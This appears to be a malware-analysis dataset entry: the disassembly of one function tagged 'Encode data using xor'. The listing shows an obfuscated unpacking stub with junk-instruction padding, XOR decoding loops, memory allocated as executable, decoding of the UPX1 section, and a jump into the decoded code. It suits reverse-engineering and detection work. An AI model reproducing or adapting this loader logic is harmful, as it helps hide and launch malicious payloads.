Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x59464bf0
not esi
mov esi, eax
popal
inc esi
sub eax, esi
mov esi, 0
mov ebx, ecx
or edi, edi
add eax, 1
mov edx, ebx
sub eax, edi
mov eax, 0x7afeb7ee
mov edi, 0xf3c71e38
mov ecx, edx
or eax, edi
and edi, edi
inc esi
inc eax
sub edi, eax
add eax, 0xd0f14376
cmp esi, 0x1009063
jne 0xa789bf
add edi, edi
dec eax
sub esi, eax
add eax, eax
mov ecx, 0xa78796
add edi, 1
inc edi
mov eax, 0xa7898a
add ebx, edi
inc edx
add edi, 0x5f8216dd
mov esi, dword [ecx]
add edi, edi
mov ebx, edx
and esi, 0xff
or edx, ebx
sub edi, 1
xor dword [eax], esi
sub ebx, 0x59b74687
add edi, edx
or edx, ebx
add eax, 1
mov ebx, edx
add ebx, 0xf0fda59d
sub edi, ebx
inc ecx
add ebx, edi
inc ebx
dec edx
cmp eax, entry0
jl 0xa78a14
sub ebx, edi
mov edx, ebx
sub edx, 0xf15ab257
or ebx, ebx
sub esi, edi
mov edx, 0x87524b18
mov edi, esi
mov ecx, 0xa7898e
sub esi, 0xfa1a93e2
add edx, esi
add ebx, 1
mov ecx, dword [ecx]
inc edi
dec ebx
mov ecx, dword [ecx]
mov esi, 0xda140020
and edi, edx
and edx, edi
push ecx
mov esi, edi
or ebx, edx
sub ebx, 0xbf2e70de
mov ecx, 0xa7898a
sub ebx, 0x295d720e
inc edi
add edx, 0x82bb6acc
mov ecx, dword [ecx]
and edi, esi
add ebx, 0x89f244d9
mov ecx, dword [ecx]
mov ebx, 0xc6052010
sub edi, ebx
push 0xa78992
sub edx, edi
and ebx, esi
mov edi, 0x35202f9d
call ecx
inc edx
and ebx, edi
pop ecx
sub esi, 0xe77545f5
dec edx
add edx, 1
sub esp, 4
mov dword [esp], 0xa7899f
and edi, edi
add edi, 0xc8aabdcb
inc ebx
push eax
sub esi, edi
mov esi, 0xa156000b
not edi
call ecx
add edi, edx
mov esi, 0x9012b550
sub esp, 4
mov dword [esp], 0x40
add esi, ebx
or ebx, edx
inc edx
sub esp, 4
mov dword [esp], 0x3000
mov edx, 0x6e04721a
mov edx, 0xb09a5929
push 0x20000ff7
mov edi, edx
inc ebx
push 0
mov edx, 0x11663845
or edx, edi
add esi, edi
call eax
add edx, ebx
or edi, edi
add edx, ebx
add eax, 0x20000f73
dec edx
or edi, edi
mov ecx, 0x4e4ae064
add edi, edx
add edi, 1
mov dword [eax], ecx
add edx, ebx
mov ebx, esi
mov ecx, dword [eax]
add edi, edx
dec edx
cmp ecx, 0x4e4ae064
je 0xa78b74
mov ebx, 0
mov byte [ebx], cl
add esi, 0x5e035b9b
and ebx, edi
mov edi, 0x6d262458
add edi, 0xd3a98ce
sub ebx, edx
add eax, 0xee9fa2d
not eax
add eax, 0x431208b7
mov ecx, section.UPX1
add eax, 0x15f2e72a
mov eax, esi
mov edi, 0xa78795
inc esi
sub esi, eax
mov ebx, 0
or eax, esi
add eax, eax
and esi, eax
mov edx, 0xa78796
mov eax, esi
add esi, 0xccc5e2a0
lea edx, [edx + ebx]
or eax, esi
and esi, eax
mov edx, dword [edx]
mov esi, 0xa2d219bc
sub eax, 0xdb33df2e
and edx, 0xff
mov esi, 0x43539633
mov eax, esi
inc ebx
sub esi, eax
sub eax, 1
cmp ebx, 0x1f4
jne 0xa78bfb
mov ebx, 0
inc eax
add eax, 0xa826e197
add eax, 0xc72c6656
and esi, eax
xor dword [ecx], edx
sub eax, 0x92eb2c27
and esi, eax
dec esi
add ecx, 2
or esi, esi
mov esi, 0x20b724ab
or eax, eax
cmp ecx, edi
jl 0xa78bb7
add eax, eax
not esi
inc esi
or esi, esi
add eax, 0xe0c69e88
mov edi, section.UPX1
mov edx, ebx
add ebx, 0x7251efb7
mov ecx, section.UPX1
mov ebx, edx
sub ebx, edx
mov esi, 0xa78795
or ebx, edx
mov edx, ebx
mov ebx, 0x39e06515
mov eax, 0
mov ebx, 0x8fc00d57
mov edx, ebx
mov al, byte [ecx]
inc edx
mov ebx, 0xb5fe6ebd
mov byte [edi], al
dec edx
mov edx, 0x21ffa8a0
inc edi
add edx, ebx
and ebx, ebx
sub edx, ebx
add ecx, 2
not edx
add ebx, 1
not ebx
cmp ecx, esi
jle 0xa78c69
add ebx, edx
or ebx, edx
add eax, esi
mov eax, esi
not eax
push 0x8dc6a0
add esi, 0xe9ea672f
inc eax
add esi, 1
ret